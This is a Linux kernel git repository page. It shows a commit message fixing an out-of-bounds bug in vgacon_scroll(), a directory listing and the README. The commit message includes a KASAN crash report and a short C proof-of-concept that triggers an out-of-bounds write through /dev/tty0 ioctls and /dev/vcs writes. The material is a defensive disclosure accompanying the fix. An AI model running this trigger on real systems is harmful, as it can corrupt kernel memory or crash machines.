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GONG Ruiqi f20fd54af4 vgacon: Add check for vc_origin address range in vgacon_scroll() commit `864f9963ec` upstream. Our in-house Syzkaller reported the following BUG (twice), which we believed was the same issue with [1]: ================================================================== BUG: KASAN: slab-out-of-bounds in vcs_scr_readw+0xc2/0xd0 drivers/tty/vt/vt.c:4740 Read of size 2 at addr ffff88800f5bef60 by task syz.7.2620/12393 ... Call Trace: <TASK> __dump_stack lib/dump_stack.c:88 [inline] dump_stack_lvl+0x72/0xa0 lib/dump_stack.c:106 print_address_description.constprop.0+0x6b/0x3d0 mm/kasan/report.c:364 print_report+0xba/0x280 mm/kasan/report.c:475 kasan_report+0xa9/0xe0 mm/kasan/report.c:588 vcs_scr_readw+0xc2/0xd0 drivers/tty/vt/vt.c:4740 vcs_write_buf_noattr drivers/tty/vt/vc_screen.c:493 [inline] vcs_write+0x586/0x840 drivers/tty/vt/vc_screen.c:690 vfs_write+0x219/0x960 fs/read_write.c:584 ksys_write+0x12e/0x260 fs/read_write.c:639 do_syscall_x64 arch/x86/entry/common.c:51 [inline] do_syscall_64+0x59/0x110 arch/x86/entry/common.c:81 entry_SYSCALL_64_after_hwframe+0x78/0xe2 ... </TASK> Allocated by task 5614: kasan_save_stack+0x20/0x40 mm/kasan/common.c:45 kasan_set_track+0x25/0x30 mm/kasan/common.c:52 ____kasan_kmalloc mm/kasan/common.c:374 [inline] __kasan_kmalloc+0x8f/0xa0 mm/kasan/common.c:383 kasan_kmalloc include/linux/kasan.h:201 [inline] __do_kmalloc_node mm/slab_common.c:1007 [inline] __kmalloc+0x62/0x140 mm/slab_common.c:1020 kmalloc include/linux/slab.h:604 [inline] kzalloc include/linux/slab.h:721 [inline] vc_do_resize+0x235/0xf40 drivers/tty/vt/vt.c:1193 vgacon_adjust_height+0x2d4/0x350 drivers/video/console/vgacon.c:1007 vgacon_font_set+0x1f7/0x240 drivers/video/console/vgacon.c:1031 con_font_set drivers/tty/vt/vt.c:4628 [inline] con_font_op+0x4da/0xa20 drivers/tty/vt/vt.c:4675 vt_k_ioctl+0xa10/0xb30 drivers/tty/vt/vt_ioctl.c:474 vt_ioctl+0x14c/0x1870 drivers/tty/vt/vt_ioctl.c:752 tty_ioctl+0x655/0x1510 drivers/tty/tty_io.c:2779 vfs_ioctl fs/ioctl.c:51 [inline] __do_sys_ioctl fs/ioctl.c:871 [inline] __se_sys_ioctl+0x12d/0x190 fs/ioctl.c:857 do_syscall_x64 arch/x86/entry/common.c:51 [inline] do_syscall_64+0x59/0x110 arch/x86/entry/common.c:81 entry_SYSCALL_64_after_hwframe+0x78/0xe2 Last potentially related work creation: kasan_save_stack+0x20/0x40 mm/kasan/common.c:45 __kasan_record_aux_stack+0x94/0xa0 mm/kasan/generic.c:492 __call_rcu_common.constprop.0+0xc3/0xa10 kernel/rcu/tree.c:2713 netlink_release+0x620/0xc20 net/netlink/af_netlink.c:802 __sock_release+0xb5/0x270 net/socket.c:663 sock_close+0x1e/0x30 net/socket.c:1425 __fput+0x408/0xab0 fs/file_table.c:384 __fput_sync+0x4c/0x60 fs/file_table.c:465 __do_sys_close fs/open.c:1580 [inline] __se_sys_close+0x68/0xd0 fs/open.c:1565 do_syscall_x64 arch/x86/entry/common.c:51 [inline] do_syscall_64+0x59/0x110 arch/x86/entry/common.c:81 entry_SYSCALL_64_after_hwframe+0x78/0xe2 Second to last potentially related work creation: kasan_save_stack+0x20/0x40 mm/kasan/common.c:45 __kasan_record_aux_stack+0x94/0xa0 mm/kasan/generic.c:492 __call_rcu_common.constprop.0+0xc3/0xa10 kernel/rcu/tree.c:2713 netlink_release+0x620/0xc20 net/netlink/af_netlink.c:802 __sock_release+0xb5/0x270 net/socket.c:663 sock_close+0x1e/0x30 net/socket.c:1425 __fput+0x408/0xab0 fs/file_table.c:384 task_work_run+0x154/0x240 kernel/task_work.c:239 exit_task_work include/linux/task_work.h:45 [inline] do_exit+0x8e5/0x1320 kernel/exit.c:874 do_group_exit+0xcd/0x280 kernel/exit.c:1023 get_signal+0x1675/0x1850 kernel/signal.c:2905 arch_do_signal_or_restart+0x80/0x3b0 arch/x86/kernel/signal.c:310 exit_to_user_mode_loop kernel/entry/common.c:111 [inline] exit_to_user_mode_prepare include/linux/entry-common.h:328 [inline] __syscall_exit_to_user_mode_work kernel/entry/common.c:207 [inline] syscall_exit_to_user_mode+0x1b3/0x1e0 kernel/entry/common.c:218 do_syscall_64+0x66/0x110 arch/x86/entry/common.c:87 entry_SYSCALL_64_after_hwframe+0x78/0xe2 The buggy address belongs to the object at ffff88800f5be000 which belongs to the cache kmalloc-2k of size 2048 The buggy address is located 2656 bytes to the right of allocated 1280-byte region [ffff88800f5be000, ffff88800f5be500) ... Memory state around the buggy address: ffff88800f5bee00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc ffff88800f5bee80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc >ffff88800f5bef00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc ^ ffff88800f5bef80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc ffff88800f5bf000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ================================================================== By analyzing the vmcore, we found that vc->vc_origin was somehow placed one line prior to vc->vc_screenbuf when vc was in KD_TEXT mode, and further writings to /dev/vcs caused out-of-bounds reads (and writes right after) in vcs_write_buf_noattr(). Our further experiments show that in most cases, vc->vc_origin equals to vga_vram_base when the console is in KD_TEXT mode, and it's around vc->vc_screenbuf for the KD_GRAPHICS mode. But via triggerring a TIOCL_SETVESABLANK ioctl beforehand, we can make vc->vc_origin be around vc->vc_screenbuf while the console is in KD_TEXT mode, and then by writing the special 'ESC M' control sequence to the tty certain times (depends on the value of `vc->state.y - vc->vc_top`), we can eventually move vc->vc_origin prior to vc->vc_screenbuf. Here's the PoC, tested on QEMU: ``` int main() { const int RI_NUM = 10; // should be greater than `vc->state.y - vc->vc_top` int tty_fd, vcs_fd; const char tty_path = "/dev/tty0"; const char vcs_path = "/dev/vcs"; const char escape_seq[] = "\x1bM"; // ESC + M const char trigger_seq[] = "Let's trigger an OOB write."; struct vt_sizes vt_size = { 70, 2 }; int blank = TIOCL_BLANKSCREEN; tty_fd = open(tty_path, O_RDWR); char vesa_mode[] = { TIOCL_SETVESABLANK, 1 }; ioctl(tty_fd, TIOCLINUX, vesa_mode); ioctl(tty_fd, TIOCLINUX, &blank); ioctl(tty_fd, VT_RESIZE, &vt_size); for (int i = 0; i < RI_NUM; ++i) write(tty_fd, escape_seq, sizeof(escape_seq) - 1); vcs_fd = open(vcs_path, O_RDWR); write(vcs_fd, trigger_seq, sizeof(trigger_seq)); close(vcs_fd); close(tty_fd); return 0; } ``` To solve this problem, add an address range validation check in vgacon_scroll(), ensuring vc->vc_origin never precedes vc_screenbuf. Reported-by: syzbot+9c09fda97a1a65ea859b@syzkaller.appspotmail.com Closes: https://syzkaller.appspot.com/bug?extid=9c09fda97a1a65ea859b [1] Fixes: `1da177e4c3` ("Linux-2.6.12-rc2") Cc: stable@vger.kernel.org Co-developed-by: Yi Yang <yiyang13@huawei.com> Signed-off-by: Yi Yang <yiyang13@huawei.com> Signed-off-by: GONG Ruiqi <gongruiqi1@huawei.com> Signed-off-by: Helge Deller <deller@gmx.de> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>		History 2025-06-27 11:11:21 +01:00
arch	parisc/unaligned: Fix hex output to show 8 hex chars	2025-06-27 11:11:21 +01:00
block	block: Clear BIO_EMULATES_ZONE_APPEND flag on BIO completion	2025-06-27 11:11:19 +01:00
certs	sign-file,extract-cert: use pkcs11 provider for OPENSSL MAJOR >= 3	2024-09-20 19:52:48 +03:00
crypto	crypto: api - Redo lookup on EEXIST	2025-06-19 15:31:30 +02:00
Documentation	regulator: dt-bindings: mt6357: Drop fixed compatible requirement	2025-06-19 15:32:37 +02:00
drivers	vgacon: Add check for vc_origin address range in vgacon_scroll()	2025-06-27 11:11:21 +01:00
fs	f2fs: fix to do sanity check on sit_bitmap_size	2025-06-27 11:11:21 +01:00
include	bus: firewall: Fix missing static inline annotations for stubs	2025-06-27 11:11:19 +01:00
init	rust: clean Rust 1.88.0's `unnecessary_transmutes` lint	2025-05-18 08:24:51 +02:00
io_uring	io_uring/kbuf: account ring io_buffer_list memory	2025-06-27 11:11:14 +01:00
ipc	ipc: fix memleak if msg_init_ns failed in create_ipc_ns	2024-12-05 14:03:02 +01:00
kernel	cgroup,freezer: fix incomplete freezing when attaching tasks	2025-06-27 11:11:19 +01:00
lib	iov_iter: use iov_offset for length calculation in iov_iter_aligned_bvec	2025-06-19 15:32:21 +02:00
LICENSES	LICENSES: add 0BSD license text	2024-09-01 20:43:24 -07:00
mm	page_pool: Move pp_magic check into helper functions	2025-06-19 15:31:42 +02:00
net	net/sched: fix use-after-free in taprio_dev_notifier	2025-06-27 11:11:21 +01:00
rust	rust: alloc: add missing invariant in Vec::set_len()	2025-06-19 15:32:09 +02:00
samples	samples/bpf: Fix compilation failure for samples/bpf on LoongArch Fedora	2025-05-29 11:02:01 +02:00
scripts	randstruct: gcc-plugin: Fix attribute addition	2025-06-19 15:32:04 +02:00
security	smack: Revert "smackfs: Added check catlen"	2025-05-29 11:02:48 +02:00
sound	ASoC: codecs: wcd937x: Drop unused buck_supply	2025-06-27 11:11:19 +01:00
tools	tools/resolve_btfids: Fix build when cross compiling kernel with clang.	2025-06-19 15:32:33 +02:00
usr	kbuild: hdrcheck: fix cross build with clang	2025-03-13 13:02:18 +01:00
virt	KVM: Add member to struct kvm_gfn_range to indicate private/shared	2025-05-22 14:29:36 +02:00
.clang-format	clang-format: Update with v6.11-rc1's `for_each` macro list	2024-08-02 13:20:31 +02:00
.clippy.toml	rust: clean Rust 1.88.0's warning about `clippy::disallowed_macros` configuration	2025-05-18 08:24:51 +02:00
.cocciconfig	scripts: add Linux .cocciconfig for coccinelle	2016-07-22 12:13:39 +02:00
.editorconfig	.editorconfig: remove trim_trailing_whitespace option	2024-06-13 16:47:52 +02:00
.get_maintainer.ignore	Add Jeff Kirsher to .get_maintainer.ignore	2024-03-08 11:36:54 +00:00
.gitattributes	.gitattributes: set diff driver for Rust source code files	2023-05-31 17:48:25 +02:00
.gitignore	rust: introduce `.clippy.toml`	2025-03-13 13:01:42 +01:00
.mailmap	mailmap: add entry for Thorsten Blum	2024-11-07 14:14:59 -08:00
.rustfmt.toml	rust: add `.rustfmt.toml`	2022-09-28 09:02:20 +02:00
COPYING	COPYING: state that all contributions really are covered by this file	2020-02-10 13:32:20 -08:00
CREDITS	MAINTAINERS: Remove self from DSA entry	2024-11-03 12:52:38 -08:00
Kbuild	Kbuild updates for v6.1	2022-10-10 12:00:45 -07:00
Kconfig	kbuild: ensure full rebuild when the compiler is updated	2020-05-12 13:28:33 +09:00
MAINTAINERS	MAINTAINERS: Update Alexey Makhalov's email address	2025-05-22 14:29:46 +02:00
Makefile	Linux 6.12.34	2025-06-19 15:32:38 +02:00
README	README: Fix spelling	2024-03-18 03:36:32 -06:00

README

Linux kernel
============

There are several guides for kernel developers and users. These guides can
be rendered in a number of formats, like HTML and PDF. Please read
Documentation/admin-guide/README.rst first.

In order to build the documentation, use ``make htmldocs`` or
``make pdfdocs``.  The formatted documentation can also be read online at:

    https://www.kernel.org/doc/html/latest/

There are various text files in the Documentation/ subdirectory,
several of them using the reStructuredText markup notation.

Please read the Documentation/process/changes.rst file, as it contains the
requirements for building and running the kernel, and information about
the problems which may result by upgrading your kernel.